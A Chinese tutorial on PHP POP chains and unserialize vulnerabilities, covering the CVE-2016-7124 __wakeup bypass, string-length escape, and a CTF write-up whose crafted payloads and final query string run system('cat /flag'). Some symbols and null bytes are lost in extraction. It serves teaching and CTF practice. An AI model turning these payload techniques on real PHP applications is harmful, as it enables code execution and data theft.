0×00 前言
简单记录一下PHP中的POP链和反序列化相关知识。
0×01 POP
(一)POP(Property-Oriented Programing)
POP面向属性编程,常用于上层语言构造特定调用链的方法,与二进制利用中的面向返回编程(Return-Oriented Programing)的原理相似,都是从现有运行环境中寻找一系列的代码或者指令调用,然后根据需求构成一组连续的调用链,最终达到攻击者邪恶的目的。类似于PWN中的ROP,有时候反序列化一个对象时,由它调用的__wakeup()中又去调用了其他的对象,由此可以溯源而上,利用一次次的“gadget”找到漏洞点。
(二)POP CHAIN
POP链把魔术方法作为最开始的小组件,然后在魔术方法中调用其他函数(小组件),通过寻找相同名字的函数,再与类中的敏感函数和属性相关联,就是POP CHAIN 。此时类中所有的敏感属性都属于可控的。当unserialize()传入的参数可控,便可以通过反序列化漏洞控制POP CHAIN达到利用特定漏洞的效果。
0×02 序列化与反序列化
(一)序列化
序列化就是将一个对象转换为一个字符串的字节序列储存。
实例
代码语言:javascript复制<?php
error_reporting(0);
class student{
public $name;
public $age;
private $grade;
function setName($name){
$this->name=$name;
}
function setAge($age){
$this->age=$age;
}
function setGrade($grade){
$this->grade=$grade;
}
}
$emp = new student();
$emp->setName("Tom");
$emp->setAge(20);
$emp->setGrade(98);
var_dump(serialize($emp));
运行结果如下,studentgrade
中间的乱码为空字符,因为grade为private属性。
O 表示object,一个对象
6 "student" 表示对象名长度为7,名为"student"
3 表示有3个属性
s 为"string"类型
4 为属性名name的长度
……
(二)反序列化
就是序列化的逆过程,将字符串转为对象的过程。
实例
代码语言:javascript复制<?php
$str='O:7:"student":3:{s:4:"name";s:3:"Tom";s:3:"age";i:20;s:14:" student grade";i:98;}';
var_dump(unserialize($str));
运行结果如下
0×03 魔术方法绕过
(一)魔术方法
首先介绍一下魔术方法
魔术方法是一种特殊的方法,像函数但又不是,当对对象执行某些操作时会覆盖 PHP 的默认操作,以”__“开始。顾名思义,与魔术变量相似,魔术方法也是PHP内置的一种函数应用。目前PHP共有十六个魔术方法。下面是一些常用的魔术方法。
代码语言:javascript复制__construct() //当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
(二)CVE-2016-7124漏洞
__wakeup是在unserialize函数反序列化时,首先会检查类中是否存在该方法,如果存在会先调用方法然后再执行反序列化操作。用于在反序列化之前准备一些对象需要的资源,或其他初始化操作。
例如
代码语言:javascript复制<?php
error_reporting(0);
class student{
public $name;
public $age;
private $grade;
public function __wakeup(){
echo "魔术方法n";
}
function setName($name){
$this->name=$name;
}
function setAge($age){
$this->age=$age;
}
function setGrade($grade){
$this->grade=$grade;
}
}
$emp = new student();
运行结果
而CVE-2016-7124漏洞是当反序列化字符串中,表示属性个数的值大于真实属性个数时,会绕过 __wakeup函数的执行。
也就是说,对序列化后的字符串反序列化时,如果构造表示属性个数的值大于真实属性个数,会不执行__wakeup()函数,从而可以绕过一些障碍。
(三)例题
反序列化漏洞的成因
unserialize()
函数的参数可控php
中有可以利用的类并且类中有魔术方法- 当传给
unserialize()
的参数可控时,就可以注入精心构造的payload,在进行反序列化时就可能触发对象中的一些魔术方法,执行恶意指令或者绕过。
代码分析
来看一道例题,源代码。
代码语言:javascript复制<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
if (isset($_GET['var'])) {
$var = base64_decode($_GET['var']);
if (preg_match('/[oc]:d :/i', $var)) {
die('stop hacking!');
} else {
@unserialize($var);
}
} else {
highlight_file("index.php");
}
?>
在Demo里面看到了__wakeup()
函数,可知这里应该涉及反序列化。
下方的if语句首先判断var参数是否存在,然后进行base64编码,再与正则表达式匹配。如果与正则表达式匹配,程序就会停止,所以我们需要绕过匹配,执行else中的@unserialize(var);反序列化操作。在反序列化操作之前会先执行__wakeup(),判断对象的文件是否为index.php,如果不是则将对象的文件属性变为index.php,注释告诉我们flag在fl4g.php里面,因此我们需要构造对象file属性为flag.php,需要绕过__wakeup(),不让__wakeup()执行使我们flag.php变为index.php。除此之外还需要绕过正则表达式。
序列化对象
将对象序列化
代码语言:javascript复制<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file != 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$demo = new Demo('fl4g.php');
echo serialize($demo);
运行得到结果,注意这里是存在两个空字符的。
绕过正则表达式
代码语言:javascript复制/[oc]:d :/i:
[oc]:表示这块区域用来匹配o或者c;
d:代表一个数字字符;
:代表可以匹配多次;
/i:表示匹配时不区分大小写。
由于序列化后的结果o
后面为4,符合正则表达式,使用 号可以实现绕过( 号代表空格)。
O: 4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
利用CVE-2016-7124漏洞
利用CVE-2016-7124漏洞,然后绕过__wakeup()
,修改类的属性个数大于真实属性个数即可。
修改后的序列化结果如下:
代码语言:javascript复制O: 4:"Demo":2:{s:10:"Demofile";s:8:"fl4g.php";}
base64编码
使用burpsuite的编码工具,先加上两个空字符00
,然后进行base64编码得到payload。
传参,得到flag。
0×04 PHP序列化与反序列化逃逸
看一段代码
代码语言:javascript复制<?php
error_reporting(0);
class student{
public $name;
public $age;
function setName($name){
$this->name=$name;
}
function setAge($age){
$this->age=$age;
}
}
function filter($str){
$s = str_replace('HHHHHHHHHHHHHHHHHHHH','NNN',$str);
return $s;
}
$emp = new student();
$emp->setName('HHHHHHHHHHHHHHHHHHHH');
$emp->setAge('20');
$emp1=(serialize($emp));
echo $emp1;
echo "n";
$emp2 = filter($emp1);
echo $emp2;
echo "n";
var_dump(unserialize($emp2));
运行结果
可知在执行var_dump(unserialize($emp2));
的时候,反序列化字符串报错了。因为filter()函数将 ‘HHHHHHH’ 替换成 ‘NNN’ 了,但是长度仍然为7,因此不符合序列化的规则了,所以报错。
据此,我们可以构造一下对象的属性值,将age属性改为int类型。
代码语言:javascript复制<?php
error_reporting(0);
class student{
public $name;
public $age;
function setName($name){
$this->name=$name;
}
function setAge($age){
$this->age=$age;
}
}
function filter($str){
$s = str_replace('HHHHHHHHHHHHHHHHHHHH','NNN',$str);
return $s;
}
$emp = new student();
$emp->setName('HHHHHHHHHHHHHHHHHHHH');
$emp->setAge(';s:3:"age";i:20;}');
$emp1=(serialize($emp));
echo $emp1;
echo "n";
$emp2 = filter($emp1);
echo $emp2;
echo "n";
var_dump(unserialize($emp2));
运行结果,发现age属性变为了int型。
原理就是序列化后的字符串在进行反序列化操作时,会以{}两个花括号进行分界线,花括号以外的内容不会被反序列化。字符逃逸的主要原理就是闭合,与SQL注入还有XSS等类似,只不过它判断的是字符串的长度。输入恰好的字符串长度,让无用的部分字符逃逸或吞掉,从而达到我们想要的目的。
逃逸本质上是由于序列化的时候字符串长度固定了,但是在反序列化之前,会由于各种原因改变字符串的长度,导致反序列化时读取的数据发生了变化,如果经过精心构造格式正确的payload,那么就可以达到逃逸的效果。
0×05 强网杯Web辅助
这里就借由强网杯的一道题目,来讲讲从构造POP链,绕过魔术方法和字符串逃逸到最后获取flag的过程。
源码分析
index.php
获取我们传入的username和password,并将其序列化储存
代码语言:javascript复制if (isset($_GET['username']) && isset($_GET['password'])){
$username = $_GET['username'];
$password = $_GET['password'];
$player = new player($username, $password);
file_put_contents("caches/".md5($_SERVER['REMOTE_ADDR']), write(serialize($player)));
echo sprintf('Welcome %s, your ip is %sn', $username, $_SERVER['REMOTE_ADDR']);
}
else{
echo "Please input the username or password!n";
}
common.php
这里面的read,write有与’‘, chr(0).”“.chr(0)相关的替换操作,还有一个check对我们的序列化的内容进行检查,判断是否存在关键字name,这里也是我们需要绕过的一个地方。
代码语言:javascript复制<?php
function read($data){
$data = str_replace('*', chr(0)."*".chr(0), $data);
var_dump($data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '*', $data);
return $data;
}
function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Passn");
}
else{
return $data;
}
}
?>
play.php
在写入序列化的内容之后,访问play.php,如果我们的操作通过了check,然后经过了read的替换操作之后,便会进行反序列化操作。
代码语言:javascript复制@$player = unserialize(read(check(file_get_contents("caches/".md5($_SERVER['REMOTE_ADDR'])))));
class.php
这里存在着各种类,也是我们构造pop链的关键,我们的目的是为了触发最后的cat /flag。
代码语言:javascript复制<?php
class player{
protected $user;
protected $pass;
protected $admin;
public function __construct($user, $pass, $admin = 0){
$this->user = $user;
$this->pass = $pass;
$this->admin = $admin;
}
public function get_admin(){
$this->admin = 1;
return $this->admin ;
}
}
class topsolo{
protected $name;
public function __construct($name = 'Riven'){
$this->name = $name;
}
public function TP(){
if (gettype($this->name) === "function" or gettype($this->name) === "object"){
$name = $this->name;
$name();
}
}
public function __destruct(){
$this->TP();
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name = $name;
}
public function __wakeup(){
if ($this->name !== 'Yasuo'){
$this->name = 'Yasuo';
echo "No Yasuo! No Soul!n";
}
}
public function __invoke(){
$this->Gank();
}
public function Gank(){
if (stristr($this->name, 'Yasuo')){
echo "Are you orphan?n";
}
else{
echo "Must Be Yasuo!n";
}
}
}
class jungle{
protected $name = "";
public function __construct($name = "Lee Sin"){
$this->name = $name;
}
public function KS(){
system("cat /flag");
}
public function __toString(){
$this->KS();
return "";
}
}
?>
源码中使用了一些魔术方法。
代码语言:javascript复制__construct() //当一个对象创建时被调用
__destruct() //当一个对象销毁时被调用
__wakeup() //使用unserialize时触发
__sleep() //使用serialize时触发
__toString() //把类当作字符串使用时触发
__invoke() //当脚本尝试将对象调用为函数时触发
POP链的构造
POP链:如果我们需要触发的关键代码在一个类的普通方法中,例如本题的system(‘cat /flag’)在jungle类中的KS方法中,这个时候我们可以通过相同的函数名将类的属性和敏感函数的属性联系起来
这里涉及到三个类,topsolo、midsolo、jungle,其中观察到topsolo类中的TP方法中,使用了name(),如果我们将一个对象赋值给name,这里便是以调用函数的方式调用了一个对象,此时会触发invoke方法,而invoke方法存在与midsolo中,invoke()会触发Gank方法,执行了stristr操作。
我们的最终目的是要触发jungle类中的KS方法,从而cat /flag,而触发KS方法得先触发__toString方法,一般来说,在我们使用echo输出对象时便会触发,例如:
代码语言:javascript复制<?php
class test{
function __toString(){
echo "__toString()";
return "";
}
}
$a = new test();
echo $a;
//输出:__toString()
在common.php中,我们并没有看到有echo一个类的操作,但是有一个stristr($this->name, ‘Yasuo’)的操作,我们来看一下:
代码语言:javascript复制<?php
class test{
function __toString(){
echo "__toString()";
return "";
}
}
$a = new test();
stristr($a,'name');
//输出__toString()
整个POP链
代码语言:javascript复制topsolo->__destruct()->TP()->$name()->midsolo->__invoke()->Gank()->stristr()->jungle->__toString()->KS()->syttem('cat /flag')
即
代码语言:javascript复制<?php
class topsolo{
protected $name;
public function __construct($name = 'Riven'){
$this->name = $name;
}
}
class midsolo{
protected $name;
public function __construct($name){
$this->name = $name;
}
}
class jungle{
protected $name = "";
}
$a = new topsolo(new midsolo(new jungle()));
$exp = serialize($a);
var_dump(urlencode($exp));
?>
//输出:
//O:7:"topsolo":1:{s:7:" * name";O:7:"midsolo":1:{s:7:" * name";O:6:"jungle":1:{s:7:" * name";s:0:"";}}}
绕过__wakeup()魔术方法,将1改为2。
代码语言:javascript复制O:7:"topsolo":1:{s:7:" * name";O:7:"midsolo":2:{s:7:" * name";O:6:"jungle":1:{s:7:" * name";s:0:"";}}}
O:7:"topsolo":1:{s:7:"00*00name";O:7:"midsolo":2:{s:7:"00*00name";O:6:"jungle":1:{s:7:"00*00name";s:0:"";}}}
name检测绕过
代码语言:javascript复制function check($data)
{
if(stristr($data, 'name')!==False){
die("Name Passn");
}
else{
return $data;
}
}
这里使用十六进制绕过6e616d65,并将s改为S
代码语言:javascript复制O:7:"topsolo":1:{S:7:" * 6e616d65";O:7:"midsolo":2:{S:7:" * 6e616d65";O:6:"jungle":1:{S:7:" * 6e616d65";s:0:"";}}}
逃逸
访问index.php,传入数值,得到序列化内容
代码语言:javascript复制O:6:"player":3:{s:7:"*user";s:0:"";s:7:"*pass";s:126:"O:7:"topsolo":1:{S:7:"*6e616d65";O:7:"midsolo":2:{S:7:"*6e616d65";O:6:"jungle":1:{S:7:"*6e616d65";s:0:"";}}}";s:8:"*admin";i:0;}
可以看到对象topsolo,midsolo被s:102,所包裹,我们要做的就是题目环境本身的替换字符操作从而达到对象topsolo,midsolo从引号的包裹中逃逸出来
代码语言:javascript复制function read($data){
$data = str_replace('*', chr(0)."*".chr(0), $data);
var_dump($data);
return $data;
}
function write($data){
$data = str_replace(chr(0)."*".chr(0), '*', $data);
return $data;
}
在反序列化操作前,有个read的替换操作,字符数量从5位变成3位,合理构造username的长度,经过了read的替换操作后,最后将”;s:7:”pass”;s:126吃掉,需要吃掉的长度为23,因为5->3,所以得为2的倍数,需要在password中再填充一个字符C,变成24位,所以我们一共需要构造12个来进行username填充,得到username
代码语言:javascript复制username=************
构造payload
代码语言:javascript复制password=C";s:7:"*pass";O:7:"topsolo":1:{S:7:" * 6e616d65";O:7:"midsolo":2:{S:7:" * 6e616d65";O:6:"jungle":1:{S:7:" * 6e616d65";s:0:"";}}}
最后传参,得到flag
代码语言:javascript复制?username=************&password=C";s:7:"*pass";O:7:"topsolo":1:{S:7:" * 6e616d65";O:7:"midsolo":2:{S:7:" * 6e616d65";O:6:"jungle":1:{S:7:" * 6e616d65";s:0:"";}}}
参考文章:https://www.secpulse.com/archives/146375.html